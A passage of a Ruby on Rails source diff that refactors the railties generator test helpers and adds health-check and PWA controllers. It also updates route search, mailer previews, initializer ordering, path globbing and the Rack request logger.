--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/system/templates/system_test.rb.tt
@@ -0,0 +1,9 @@
+require "application_system_test_case"
+
+class <%= class_name.pluralize %>Test < ApplicationSystemTestCase
+  # test "visiting the index" do
+  #   visit <%= plural_table_name %>_url
+  #
+  #   assert_selector "h1", text: "<%= class_name %>"
+  # end
+end
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
index 1cabf4e28cdff..888c1c101ec75 100644
--- a/railties/lib/rails/generators/testing/assertions.rb
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     module Testing
@@ -25,7 +27,7 @@ def assert_file(relative, *contents)
           assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
 
           read = File.read(absolute) if block_given? || !contents.empty?
-          yield read if block_given?
+          assert_nothing_raised { yield read } if block_given?
 
           contents.each do |content|
             case content
@@ -97,7 +99,7 @@ def assert_class_method(method, content, &block)
         #   end
         def assert_instance_method(method, content)
           assert content =~ /(\s+)def #{method}(\(.+\))?(.*?)\n\1end/m, "Expected to have method #{method}"
-          yield $3.strip if block_given?
+          assert_nothing_raised { yield $3.strip } if block_given?
         end
         alias :assert_method :assert_instance_method
 
@@ -113,7 +115,31 @@ def assert_field_type(attribute_type, field_type)
         #
         #   assert_field_default_value :string, "MyString"
         def assert_field_default_value(attribute_type, value)
-          assert_equal(value, create_generated_attribute(attribute_type).default)
+          if value.nil?
+            assert_nil(create_generated_attribute(attribute_type).default)
+          else
+            assert_equal(value, create_generated_attribute(attribute_type).default)
+          end
+        end
+
+        # Asserts a given initializer exists. You need to supply a path relative
+        # to the `config/initializers/` directory.
+        #
+        #   assert_initializer "mail_interceptors.rb"
+        #
+        # You can also give extra arguments. If the argument is a regexp, it will check if the
+        # regular expression matches the given file content. If it's a string, it compares the
+        # file with the given string:
+        #
+        #   assert_initializer "mail_interceptors.rb", /SandboxEmailInterceptor/
+        #
+        # Finally, when a block is given, it yields the file content:
+        #
+        #   assert_initializer "mail_interceptors.rb" do |initializer|
+        #     assert_match(/SandboxEmailInterceptor/, initializer)
+        #   end
+        def assert_initializer(name, *contents, &block)
+          assert_file("config/initializers/#{name}", *contents, &block)
         end
       end
     end
diff --git a/railties/lib/rails/generators/testing/behavior.rb b/railties/lib/rails/generators/testing/behavior.rb
new file mode 100644
index 0000000000000..2bb18c393b2b2
--- /dev/null
+++ b/railties/lib/rails/generators/testing/behavior.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/reverse_merge"
+require "active_support/core_ext/kernel/reporting"
+require "active_support/testing/stream"
+require "rails/generators"
+
+module Rails
+  module Generators
+    module Testing
+      module Behavior
+        extend ActiveSupport::Concern
+        include ActiveSupport::Testing::Stream
+
+        included do
+          # Generators frequently change the current path using +FileUtils.cd+.
+          # So we need to store the path at file load and revert back to it after each test.
+          class_attribute :current_path, default: File.expand_path(Dir.pwd)
+          class_attribute :default_arguments, default: []
+          class_attribute :destination_root
+          class_attribute :generator_class
+        end
+
+        module ClassMethods
+          # Sets which generator should be tested:
+          #
+          #   tests AppGenerator
+          def tests(klass)
+            self.generator_class = klass
+          end
+
+          # Sets default arguments on generator invocation. This can be overwritten when
+          # invoking it.
+          #
+          #   arguments %w(app_name --skip-active-record)
+          def arguments(array)
+            self.default_arguments = array
+          end
+
+          # Sets the destination of generator files:
+          #
+          #   destination File.expand_path("../tmp", __dir__)
+          def destination(path)
+            self.destination_root = path
+          end
+        end
+
+        # Runs the generator configured for this class. The first argument is an array like
+        # command line arguments:
+        #
+        #   class AppGeneratorTest < Rails::Generators::TestCase
+        #     tests AppGenerator
+        #     destination File.expand_path("../tmp", __dir__)
+        #     setup :prepare_destination
+        #
+        #     test "database.yml is not created when skipping Active Record" do
+        #       run_generator %w(myapp --skip-active-record)
+        #       assert_no_file "config/database.yml"
+        #     end
+        #   end
+        #
+        # You can provide a configuration hash as second argument. This method returns the output
+        # printed by the generator.
+        def run_generator(args = default_arguments, config = {})
+          args += ["--skip-bundle"] unless args.include?("--no-skip-bundle") || args.include?("--dev")
+          args += ["--skip-bootsnap"] unless args.include?("--no-skip-bootsnap") || args.include?("--skip-bootsnap")
+
+          if ENV["RAILS_LOG_TO_STDOUT"] == "true"
+            generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+          else
+            capture(:stdout) do
+              generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+            end
+          end
+        end
+
+        # Instantiate the generator.
+        def generator(args = default_arguments, options = {}, config = {})
+          @generator ||= generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
+        end
+
+        # Create a Rails::Generators::GeneratedAttribute by supplying the
+        # attribute type and, optionally, the attribute name:
+        #
+        #   create_generated_attribute(:string, "name")
+        def create_generated_attribute(attribute_type, name = "test", index = nil)
+          Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(":"))
+        end
+
+        private
+          def destination_root_is_set?
+            raise "You need to configure your Rails::Generators::TestCase destination root." unless destination_root
+          end
+
+          def ensure_current_path
+            cd current_path
+          end
+
+          # Clears all files and directories in destination.
+          def prepare_destination # :doc:
+            rm_rf(destination_root)
+            mkdir_p(destination_root)
+          end
+
+          def migration_file_name(relative)
+            absolute = File.expand_path(relative, destination_root)
+            dirname, file_name = File.dirname(absolute), File.basename(absolute).delete_suffix(".rb")
+            Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb
deleted file mode 100644
index 64d641d096d97..0000000000000
--- a/railties/lib/rails/generators/testing/behaviour.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-require "active_support/core_ext/class/attribute"
-require "active_support/core_ext/module/delegation"
-require "active_support/core_ext/hash/reverse_merge"
-require "active_support/core_ext/kernel/reporting"
-require "active_support/testing/stream"
-require "active_support/concern"
-require "rails/generators"
-
-module Rails
-  module Generators
-    module Testing
-      module Behaviour
-        extend ActiveSupport::Concern
-        include ActiveSupport::Testing::Stream
-
-        included do
-          class_attribute :destination_root, :current_path, :generator_class, :default_arguments
-
-          # Generators frequently change the current path using +FileUtils.cd+.
-          # So we need to store the path at file load and revert back to it after each test.
-          self.current_path = File.expand_path(Dir.pwd)
-          self.default_arguments = []
-        end
-
-        module ClassMethods
-          # Sets which generator should be tested:
-          #
-          #   tests AppGenerator
-          def tests(klass)
-            self.generator_class = klass
-          end
-
-          # Sets default arguments on generator invocation. This can be overwritten when
-          # invoking it.
-          #
-          #   arguments %w(app_name --skip-active-record)
-          def arguments(array)
-            self.default_arguments = array
-          end
-
-          # Sets the destination of generator files:
-          #
-          #   destination File.expand_path("../tmp", File.dirname(__FILE__))
-          def destination(path)
-            self.destination_root = path
-          end
-        end
-
-        # Runs the generator configured for this class. The first argument is an array like
-        # command line arguments:
-        #
-        #   class AppGeneratorTest < Rails::Generators::TestCase
-        #     tests AppGenerator
-        #     destination File.expand_path("../tmp", File.dirname(__FILE__))
-        #     setup :prepare_destination
-        #
-        #     test "database.yml is not created when skipping Active Record" do
-        #       run_generator %w(myapp --skip-active-record)
-        #       assert_no_file "config/database.yml"
-        #     end
-        #   end
-        #
-        # You can provide a configuration hash as second argument. This method returns the output
-        # printed by the generator.
-        def run_generator(args = default_arguments, config = {})
-          capture(:stdout) do
-            args += ["--skip-bundle"] unless args.include? "--dev"
-            generator_class.start(args, config.reverse_merge(destination_root: destination_root))
-          end
-        end
-
-        # Instantiate the generator.
-        def generator(args = default_arguments, options = {}, config = {})
-          @generator ||= generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
-        end
-
-        # Create a Rails::Generators::GeneratedAttribute by supplying the
-        # attribute type and, optionally, the attribute name:
-        #
-        #   create_generated_attribute(:string, 'name')
-        def create_generated_attribute(attribute_type, name = "test", index = nil)
-          Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(":"))
-        end
-
-        private
-
-          def destination_root_is_set?
-            raise "You need to configure your Rails::Generators::TestCase destination root." unless destination_root
-          end
-
-          def ensure_current_path
-            cd current_path
-          end
-
-          # Clears all files and directories in destination.
-          def prepare_destination # :doc:
-            rm_rf(destination_root)
-            mkdir_p(destination_root)
-          end
-
-          def migration_file_name(relative)
-            absolute = File.expand_path(relative, destination_root)
-            dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, "")
-            Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
-          end
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/testing/setup_and_teardown.rb b/railties/lib/rails/generators/testing/setup_and_teardown.rb
index 73102a283fbee..4374aa5b8c7df 100644
--- a/railties/lib/rails/generators/testing/setup_and_teardown.rb
+++ b/railties/lib/rails/generators/testing/setup_and_teardown.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     module Testing
diff --git a/railties/lib/rails/health_controller.rb b/railties/lib/rails/health_controller.rb
new file mode 100644
index 0000000000000..f2e6178c4d4c8
--- /dev/null
+++ b/railties/lib/rails/health_controller.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "action_controller"
+
+module Rails
+  # Built-in Health Check Endpoint
+  #
+  # \Rails also comes with a built-in health check endpoint that is reachable at
+  # the +/up+ path. This endpoint will return a 200 status code if the app has
+  # booted with no exceptions, and a 500 status code otherwise.
+  #
+  # In production, many applications are required to report their status upstream,
+  # whether it's to an uptime monitor that will page an engineer when things go
+  # wrong, or a load balancer or Kubernetes controller used to determine a pod's
+  # health. This health check is designed to be a one-size fits all that will work
+  # in many situations.
+  #
+  # While any newly generated \Rails applications will have the health check at
+  # +/up+, you can configure the path to be anything you'd like in your
+  # <tt>"config/routes.rb"</tt>:
+  #
+  #   Rails.application.routes.draw do
+  #     get "healthz" => "rails/health#show", as: :rails_health_check
+  #   end
+  #
+  # The health check will now be accessible via the +/healthz+ path.
+  #
+  # NOTE: This endpoint does not reflect the status of all of your application's
+  # dependencies, such as the database or Redis cluster. Replace
+  # <tt>"rails/health#show"</tt> with your own controller action if you have
+  # application specific needs.
+  #
+  # Think carefully about what you want to check as it can lead to situations
+  # where your application is being restarted due to a third-party service going
+  # bad. Ideally, you should design your application to handle those outages
+  # gracefully.
+  class HealthController < ActionController::Base
+    rescue_from(Exception) { render_down }
+
+    def show
+      render_up
+    end
+
+    private
+      def render_up
+        respond_to do |format|
+          format.html { render html: html_status(color: "green") }
+          format.json { render json: { status: "up", timestamp: Time.current.iso8601 } }
+        end
+      end
+
+      def render_down
+        respond_to do |format|
+          format.html { render html: html_status(color: "red"), status: 500 }
+          format.json { render json: { status: "down", timestamp: Time.current.iso8601 }, status: 500 }
+        end
+      end
+
+      def html_status(color:)
+        %(<!DOCTYPE html><html><body style="background-color: #{color}"></body></html>).html_safe
+      end
+  end
+end
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index fc064dac32ddb..a0f2854e4d5a6 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -1,12 +1,15 @@
-require "cgi"
+# frozen_string_literal: true
+
+require "active_support/core_ext/erb/util"
 
 module Rails
   # This module helps build the runtime properties that are displayed in
-  # Rails::InfoController responses. These include the active Rails version,
+  # Rails::InfoController responses. These include the active \Rails version,
   # Ruby version, Rack version, and so on.
   module Info
-    mattr_accessor :properties
-    class << (@@properties = [])
+    mattr_accessor :properties, default: []
+
+    class << @@properties
       def names
         map(&:first)
       end
@@ -18,7 +21,7 @@ def value_for(property_name)
       end
     end
 
-    class << self #:nodoc:
+    class << self # :nodoc:
       def property(name, value = nil)
         value ||= yield
         properties << [name, value] if value
@@ -38,13 +41,13 @@ def to_s
       alias inspect to_s
 
       def to_html
-        "<table>".tap do |table|
+        (+"<table>").tap do |table|
           properties.each do |(name, value)|
-            table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
+            table << %(<tr><td class="name">#{ERB::Util.html_escape(name.to_s)}</td>)
             formatted_value = if value.kind_of?(Array)
-              "<ul>" + value.map { |v| "<li>#{CGI.escapeHTML(v.to_s)}</li>" }.join + "</ul>"
+              "<ul>" + value.map { |v| "<li>#{ERB::Util.html_escape(v.to_s)}</li>" }.join + "</ul>"
             else
-              CGI.escapeHTML(value.to_s)
+              ERB::Util.html_escape(value.to_s)
             end
             table << %(<td class="value">#{formatted_value}</td></tr>)
           end
@@ -60,12 +63,12 @@ def to_html
 
     # The Ruby version and platform, e.g. "2.0.0-p247 (x86_64-darwin12.4.0)".
     property "Ruby version" do
-      "#{RUBY_VERSION}-p#{RUBY_PATCHLEVEL} (#{RUBY_PLATFORM})"
+      RUBY_DESCRIPTION
     end
 
     # The RubyGems version, if it's installed.
     property "RubyGems version" do
-      Gem::RubyGemsVersion
+      Gem::VERSION
     end
 
     property "Rack version" do
@@ -92,11 +95,11 @@ def to_html
 
     # The name of the database adapter for the current environment.
     property "Database adapter" do
-      ActiveRecord::Base.configurations[Rails.env]["adapter"]
+      ActiveRecord::Base.connection_pool.db_config.adapter
     end
 
     property "Database schema version" do
-      ActiveRecord::Migrator.current_version rescue nil
+      ActiveRecord::Base.connection_pool.migration_context.current_version rescue nil
     end
   end
 end
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index 8b553aea79cd3..8963073f91e44 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "rails/application_controller"
 require "action_dispatch/routing/inspector"
 
 class Rails::InfoController < Rails::ApplicationController # :nodoc:
-  prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+  prepend_view_path ActionDispatch::DebugView::RESCUES_TEMPLATE_PATHS
   layout -> { request.xhr? ? false : "application" }
 
   before_action :require_local!
@@ -17,28 +19,56 @@ def properties
   end
 
   def routes
-    if path = params[:path]
-      path = URI.parser.escape path
-      normalized_path = with_leading_slash path
-      render json: {
-        exact: match_route { |it| it.match normalized_path },
-        fuzzy: match_route { |it| it.spec.to_s.match path }
-      }
-    else
-      @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
-      @page_title = "Routes"
+    respond_to do |format|
+      format.html do
+        @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(Rails.application.routes.routes)
+        @page_title = "Routes"
+      end
+
+      format.json do
+        query = URI::RFC2396_PARSER.escape params[:query]
+
+        render json: {
+          exact: matching_routes(query: query, exact_match: true),
+          fuzzy: matching_routes(query: query, exact_match: false)
+        }
+      end
     end
   end
 
+  def notes
+    tags = params[:tag].presence || Rails::SourceAnnotationExtractor::Annotation.tags.join("|")
+    @annotations = Rails::SourceAnnotationExtractor.new(tags).find(
+      Rails::SourceAnnotationExtractor::Annotation.directories
+    )
+  end
+
   private
+    def matching_routes(query:, exact_match:)
+      return [] if query.blank?
 
-    def match_route
-      _routes.routes.select { |route|
-        yield route.path
-      }.map { |route| route.path.spec.to_s }
-    end
+      normalized_path = ("/" + query).squeeze("/")
+      query_without_url_or_path_suffix = query.gsub(/(\w)(_path$)/, '\1').gsub(/(\w)(_url$)/, '\1')
+
+      Rails.application.routes.routes.filter_map do |route|
+        route_wrapper = ActionDispatch::Routing::RouteWrapper.new(route)
+
+        if exact_match
+          match = route.path.match(normalized_path)
+          match ||= (query_without_url_or_path_suffix === route_wrapper.name)
+        else
+          match = route_wrapper.path.match(query)
+          match ||= route_wrapper.name.include?(query_without_url_or_path_suffix)
+        end
+
+        match ||= (query === route_wrapper.verb)
+
+        unless match
+          controller_action = URI::RFC2396_PARSER.escape(route_wrapper.reqs)
+          match = exact_match ? (query === controller_action) : controller_action.include?(query)
+        end
 
-    def with_leading_slash(path)
-      ("/" + path).squeeze("/")
+        route_wrapper.path if match
+      end
     end
 end
diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb
index a2615d5efd530..52a1c841532d0 100644
--- a/railties/lib/rails/initializable.rb
+++ b/railties/lib/rails/initializable.rb
@@ -1,29 +1,23 @@
+# frozen_string_literal: true
+
 require "tsort"
 
 module Rails
   module Initializable
-    def self.included(base) #:nodoc:
+    def self.included(base) # :nodoc:
       base.extend ClassMethods
     end
 
     class Initializer
-      attr_reader :name, :block
-
-      def initialize(name, context, options, &block)
-        options[:group] ||= :default
-        @name, @context, @options, @block = name, context, options, block
-      end
+      attr_reader :name, :block, :before, :after
 
-      def before
-        @options[:before]
-      end
-
-      def after
-        @options[:after]
+      def initialize(name, context, before:, after:, group: nil, &block)
+        @group = group || :default
+        @name, @before, @after, @context, @block = name, before, after, context, block
       end
 
       def belongs_to?(group)
-        @options[:group] == group || @options[:group] == :all
+        @group == group || @group == :all
       end
 
       def run(*args)
@@ -32,7 +26,7 @@ def run(*args)
 
       def bind(context)
         return self if @context
-        Initializer.new(@name, context, @options, &block)
+        Initializer.new(@name, context, before:, after:, group: @group, &block)
       end
 
       def context_class
@@ -40,16 +34,66 @@ def context_class
       end
     end
 
-    class Collection < Array
+    class Collection
+      include Enumerable
       include TSort
 
+      delegate_missing_to :@collection
+
+      def initialize(initializers = nil)
+        @order = Hash.new { |hash, key| hash[key] = Set.new }
+        @resolve = Hash.new { |hash, key| hash[key] = Set.new }
+        @collection = []
+        concat(initializers) if initializers
+      end
+
+      def to_a
+        @collection
+      end
+
+      def last
+        @collection.last
+      end
+
+      def each(&block)
+        @collection.each(&block)
+      end
+
       alias :tsort_each_node :each
       def tsort_each_child(initializer, &block)
-        select { |i| i.before == initializer.name || i.name == initializer.after }.each(&block)
+        @order[initializer.name].each do |name|
+          @resolve[name].each(&block)
+        end
       end
 
       def +(other)
-        Collection.new(to_a + other.to_a)
+        dup.concat(other.to_a)
+      end
+
+      def <<(initializer)
+        @collection << initializer
+        @order[initializer.before] << initializer.name if initializer.before
+        @order[initializer.name] << initializer.after if initializer.after
+        @resolve[initializer.name] << initializer
+        self
+      end
+
+      def push(*initializers)
+        initializers.each(&method(:<<))
+        self
+      end
+
+      alias_method(:append, :push)
+
+      def concat(*initializer_collections)
+        initializer_collections.each do |initializers|
+          initializers.each(&method(:<<))
+        end
+        self
+      end
+
+      def has?(name)
+        @resolve.key?(name)
       end
     end
 
@@ -85,8 +129,10 @@ def initializers_for(binding)
 
       def initializer(name, opts = {}, &blk)
         raise ArgumentError, "A block must be passed when defining an initializer" unless blk
-        opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
-        initializers << Initializer.new(name, nil, opts, &blk)
+        opts[:after] ||= initializers.last&.name unless initializers.has?(opts[:before])
+        initializers << Initializer.new(
+          name, nil, before: opts[:before], after: opts[:after], group: opts[:group], &blk
+        )
       end
     end
   end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
index 000ce40fbc604..75715e6ca0660 100644
--- a/railties/lib/rails/mailers_controller.rb
+++ b/railties/lib/rails/mailers_controller.rb
@@ -1,25 +1,46 @@
+# frozen_string_literal: true
+
 require "rails/application_controller"
+require "active_support/core_ext/enumerable"
 
 class Rails::MailersController < Rails::ApplicationController # :nodoc:
-  prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+  prepend_view_path ActionDispatch::DebugView::RESCUES_TEMPLATE_PATHS
 
+  around_action :set_locale, only: [:preview, :download]
+  before_action :find_preview, only: [:preview, :download]
   before_action :require_local!, unless: :show_previews?
-  before_action :find_preview, only: :preview
+
+  helper_method :attachment_url, :part_query, :locale_query
+
+  content_security_policy(false)
 
   def index
     @previews = ActionMailer::Preview.all
-    @page_title = "Mailer Previews"
+    @page_title = "Action Mailer Previews"
+  end
+
+  def download
+    @email_action = File.basename(params[:path])
+    if @preview.email_exists?(@email_action)
+      @email = @preview.call(@email_action, params)
+      send_data @email.to_s, filename: "#{@email_action}.eml"
+    else
+      raise AbstractController::ActionNotFound, "Email '#{@email_action}' not found in #{@preview.name}"
+    end
   end
 
   def preview
     if params[:path] == @preview.preview_name
-      @page_title = "Mailer Previews for #{@preview.preview_name}"
+      @page_title = "Action Mailer Previews for #{@preview.preview_name}"
       render action: "mailer"
     else
       @email_action = File.basename(params[:path])
 
       if @preview.email_exists?(@email_action)
-        @email = @preview.call(@email_action)
+        @page_title = "Mailer Preview for #{@preview.preview_name}##{@email_action}"
+        @email = @preview.call(@email_action, params)
+        @attachments = attachments_for(@email).reject { |filename, attachment| attachment.inline? }
+        @inline_attachments = attachments_for(@email).select { |filename, attachment| attachment.inline? }
 
         if params[:part]
           part_type = Mime::Type.lookup(params[:part])
@@ -32,7 +53,7 @@ def preview
           end
         else
           @part = find_preferred_part(request.format, Mime[:html], Mime[:text])
-          render action: "email", layout: false, formats: %w[html]
+          render action: "email", layout: false, formats: [:html]
         end
       else
         raise AbstractController::ActionNotFound, "Email '#{@email_action}' not found in #{@preview.name}"
@@ -76,4 +97,26 @@ def find_part(format) # :doc:
         @email
       end
     end
+
+    def attachments_for(email)
+      email.all_parts.to_a.select(&:attachment?).index_by do |attachment|
+        attachment.respond_to?(:original_filename) ? attachment.original_filename : attachment.filename
+      end
+    end
+
+    def attachment_url(attachment)
+      "data:application/octet-stream;charset=utf-8;base64,#{Base64.encode64(attachment.body.to_s)}"
+    end
+
+    def part_query(mime_type)
+      request.query_parameters.merge(part: mime_type).to_query
+    end
+
+    def locale_query(locale)
+      request.query_parameters.merge(locale: locale).to_query
+    end
+
+    def set_locale(&block)
+      I18n.with_locale(params[:locale] || I18n.default_locale, &block)
+    end
 end
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index af3be10a3169d..861054a0b0b3e 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -1,20 +1,25 @@
+# frozen_string_literal: true
+
+require "pathname"
+
 module Rails
   module Paths
-    # This object is an extended hash that behaves as root of the <tt>Rails::Paths</tt> system.
+    # This object is an extended hash that behaves as root of the Rails::Paths system.
     # It allows you to collect information about how you want to structure your application
-    # paths through a Hash-like API. It requires you to give a physical path on initialization.
+    # paths through a Hash-like \API. It requires you to give a physical path on initialization.
     #
     #   root = Root.new "/rails"
     #   root.add "app/controllers", eager_load: true
     #
     # The above command creates a new root object and adds "app/controllers" as a path.
-    # This means we can get a <tt>Rails::Paths::Path</tt> object back like below:
+    # This means we can get a Rails::Paths::Path object back like below:
     #
     #   path = root["app/controllers"]
     #   path.eager_load?               # => true
     #   path.is_a?(Rails::Paths::Path) # => true
     #
-    # The +Path+ object is simply an enumerable and allows you to easily add extra paths:
+    # The Path[rdoc-ref:Rails::Paths::Path] object is simply an enumerable and
+    # allows you to easily add extra paths:
     #
     #   path.is_a?(Enumerable) # => true
     #   path.to_ary.inspect    # => ["app/controllers"]
@@ -22,17 +27,19 @@ module Paths
     #   path << "lib/controllers"
     #   path.to_ary.inspect    # => ["app/controllers", "lib/controllers"]
     #
-    # Notice that when you add a path using +add+, the path object created already
-    # contains the path with the same path value given to +add+. In some situations,
-    # you may not want this behavior, so you can give <tt>:with</tt> as option.
+    # Notice that when you add a path using #add, the
+    # Path[rdoc-ref:Rails::Paths::Path] object created already contains the path
+    # with the same path value given to #add. In some situations, you may not
+    # want this behavior, so you can give <tt>:with</tt> as option.
     #
     #   root.add "config/routes", with: "config/routes.rb"
     #   root["config/routes"].inspect # => ["config/routes.rb"]
     #
-    # The +add+ method accepts the following options as arguments:
-    # eager_load, autoload, autoload_once, and glob.
+    # The #add method accepts the following options as arguments:
+    # +eager_load+, +autoload+, +autoload_once+, and +glob+.
     #
-    # Finally, the +Path+ object also provides a few helpers:
+    # Finally, the Path[rdoc-ref:Rails::Paths::Path] object also provides a few
+    # helpers:
     #
     #   root = Root.new "/rails"
     #   root.add "app/controllers"
@@ -40,7 +47,7 @@ module Paths
     #   root["app/controllers"].expanded # => ["/rails/app/controllers"]
     #   root["app/controllers"].existent # => ["/rails/app/controllers"]
     #
-    # Check the <tt>Rails::Paths::Path</tt> documentation for more information.
+    # Check the Rails::Paths::Path documentation for more information.
     class Root
       attr_accessor :path
 
@@ -96,11 +103,10 @@ def load_paths
       end
 
     private
-
       def filter_by(&block)
         all_paths.find_all(&block).flat_map { |path|
-          paths = path.existent
-          paths - path.children.flat_map { |p| yield(p) ? [] : p.existent }
+          paths = path.existent_directories
+          paths - path.children.flat_map { |p| yield(p) ? [] : p.existent_directories }
         }.uniq
       end
     end
@@ -111,10 +117,11 @@ class Path
       attr_accessor :glob
 
       def initialize(root, current, paths, options = {})
-        @paths    = paths
-        @current  = current
-        @root     = root
-        @glob     = options[:glob]
+        @paths   = paths
+        @current = current
+        @root    = root
+        @glob    = options[:glob]
+        @exclude = options[:exclude]
 
         options[:autoload_once] ? autoload_once! : skip_autoload_once!
         options[:eager_load]    ? eager_load!    : skip_eager_load!
@@ -178,6 +185,14 @@ def to_ary
         @paths
       end
 
+      def paths
+        raise "You need to set a path root" unless @root.path
+
+        map do |p|
+          Pathname.new(@root.path).join(p)
+        end
+      end
+
       def extensions # :nodoc:
         $1.split(",") if @glob =~ /\{([\S]+)\}/
       end
@@ -187,13 +202,11 @@ def expanded
         raise "You need to set a path root" unless @root.path
         result = []
 
-        each do |p|
-          path = File.expand_path(p, @root.path)
+        each do |path|
+          path = File.expand_path(path, @root.path)
 
           if @glob && File.directory?(path)
-            Dir.chdir(path) do
-              result.concat(Dir.glob(@glob).map { |file| File.join path, file }.sort)
-            end
+            result.concat files_in(path)
           else
             result << path
           end
@@ -205,7 +218,14 @@ def expanded
 
       # Returns all expanded paths but only if they exist in the filesystem.
       def existent
-        expanded.select { |f| File.exist?(f) }
+        expanded.select do |f|
+          does_exist = File.exist?(f)
+
+          if !does_exist && File.symlink?(f)
+            raise "File #{f.inspect} is a symlink that does not point to a valid file"
+          end
+          does_exist
+        end
       end
 
       def existent_directories
@@ -213,6 +233,14 @@ def existent_directories
       end
 
       alias to_a expanded
+
+      private
+        def files_in(path)
+          files = Dir.glob(@glob, base: path)
+          files -= @exclude if @exclude
+          files.map! { |file| File.join(path, file) }
+          files.sort
+        end
     end
   end
 end
diff --git a/railties/lib/rails/plugin/test.rb b/railties/lib/rails/plugin/test.rb
new file mode 100644
index 0000000000000..18b6fd1757f5e
--- /dev/null
+++ b/railties/lib/rails/plugin/test.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require "rails/test_unit/runner"
+require "rails/test_unit/reporter"
+
+Rails::TestUnitReporter.executable = "bin/test"
+
+Rails::TestUnit::Runner.parse_options(ARGV)
+Rails::TestUnit::Runner.run(ARGV)
diff --git a/railties/lib/rails/pwa_controller.rb b/railties/lib/rails/pwa_controller.rb
new file mode 100644
index 0000000000000..4afe0aa0ddc63
--- /dev/null
+++ b/railties/lib/rails/pwa_controller.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "rails/application_controller"
+
+class Rails::PwaController < Rails::ApplicationController # :nodoc:
+  skip_forgery_protection
+
+  def service_worker
+    render template: "pwa/service-worker", layout: false
+  end
+
+  def manifest
+    render template: "pwa/manifest", layout: false
+  end
+end
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index a4c4527a7220d..fa41238075b91 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 module Rails
   module Rack
     autoload :Logger, "rails/rack/logger"
+    autoload :SilenceRequest, "rails/rack/silence_request"
   end
 end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 853fc2605159f..892c8ddc0f2c3 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -1,7 +1,7 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/time/conversions"
-require "active_support/core_ext/object/blank"
 require "active_support/log_subscriber"
-require "action_dispatch/http/request"
 require "rack/body_proxy"
 
 module Rails
@@ -20,36 +20,45 @@ def initialize(app, taggers = nil)
       def call(env)
         request = ActionDispatch::Request.new(env)
 
-        if logger.respond_to?(:tagged)
-          logger.tagged(compute_tags(request)) { call_app(request, env) }
+        env["rails.rack_logger_tag_count"] = if logger.respond_to?(:push_tags)
+          logger.push_tags(*compute_tags(request)).size
         else
-          call_app(request, env)
+          0
         end
+
+        call_app(request, env)
       end
 
       private
-
         def call_app(request, env) # :doc:
+          logger_tag_pop_count = env["rails.rack_logger_tag_count"]
+
           instrumenter = ActiveSupport::Notifications.instrumenter
-          instrumenter.start "request.action_dispatch", request: request
+          handle = instrumenter.build_handle("request.action_dispatch", { request: request })
+          handle.start
+
           logger.info { started_request_message(request) }
-          resp = @app.call(env)
-          resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
-          resp
+          status, headers, body = response = @app.call(env)
+          body = ::Rack::BodyProxy.new(body) { finish_request_instrumentation(handle, logger_tag_pop_count) }
+
+          if response.frozen?
+            [status, headers, body]
+          else
+            response[2] = body
+            response
+          end
         rescue Exception
-          finish(request)
+          finish_request_instrumentation(handle, logger_tag_pop_count)
           raise
-        ensure
-          ActiveSupport::LogSubscriber.flush_all!
         end
 
         # Started GET "/session/new" for 127.0.0.1 at 2012-09-26 14:51:42 -0700
         def started_request_message(request) # :doc:
-          'Started %s "%s" for %s at %s' % [
-            request.request_method,
+          sprintf('Started %s "%s" for %s at %s',
+            request.raw_request_method,
             request.filtered_path,
-            request.ip,
-            Time.now.to_default_s ]
+            request.remote_ip,
+            Time.now)
         end
 
